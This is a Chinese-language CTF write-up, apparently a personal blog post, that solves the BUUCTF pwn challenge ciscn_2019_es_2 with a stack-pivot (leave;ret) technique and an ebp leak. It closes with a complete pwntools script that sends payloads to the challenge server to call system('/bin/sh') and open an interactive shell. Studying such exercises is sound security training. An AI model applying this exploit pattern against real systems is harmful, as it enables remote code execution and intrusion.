[buuctf]ciscn_2019_es_2 1

首先查看一下文件的保护措施
image
再用ida打开文件看看
image
感觉问题出现在了 vul这个函数,点开看一看
image
这里存在栈溢出,但是这里溢出的空间只有8,只能覆盖ebp和ret,栈的空间就会不够,这种情况下就进行栈迁移,让esp和ebp指向另一个足够大的空间
如果将栈上 ret 部分覆盖为另一组 leave ret指令(gadget)的地址,即最终程序退出时会执行两次 leave 指令,一次 ret 指令。由此,当 pop ebp 被第一次执行后,eip 将指向又一条 mov esp, ebp指令的地址,而此时 ebp 寄存器的内容已变为了第一次 pop ebp 时,被篡改过的栈上 ebp 的数据。这样,esp 就会被移到到了另外的一处内存空间,从而整个函数的栈空间完成迁移。
那就先查看是否会有 leave ,ret这种指令
image
是存在的
然后再看一下最终劫持的地址,这里选择缓冲区的s区域
在进行动态调试,第一次输入的时候正常输入,第二次输入 aaaa,定位s的地址
image
查看栈
image
此时 esp 位于 0xffffcf70处,即缓冲区变量开头的'aaaa',ebp寄存器位于 0xffffcf98,而该地址所存内容,即栈上 ebp 为 0xffffcfa8,为上层main函数的ebp,ebp 与 缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方

点击查看代码
from pwn import *
p = remote("node5.buuoj.cn", 26187)
system_addr = 0x08048400
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1) 
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))
payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'dddd' 
payload2 += p32(original_ebp - 0x28) 
payload2 += b'/bin/sh\x00' 
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(original_ebp - 0x38) 
payload2 += p32(leave_ret) 
p.sendline(payload2)
p.interactive()

参考博客

posted @ 2025-07-03 23:18  Rye01R  阅读(42)  评论(0)    收藏  举报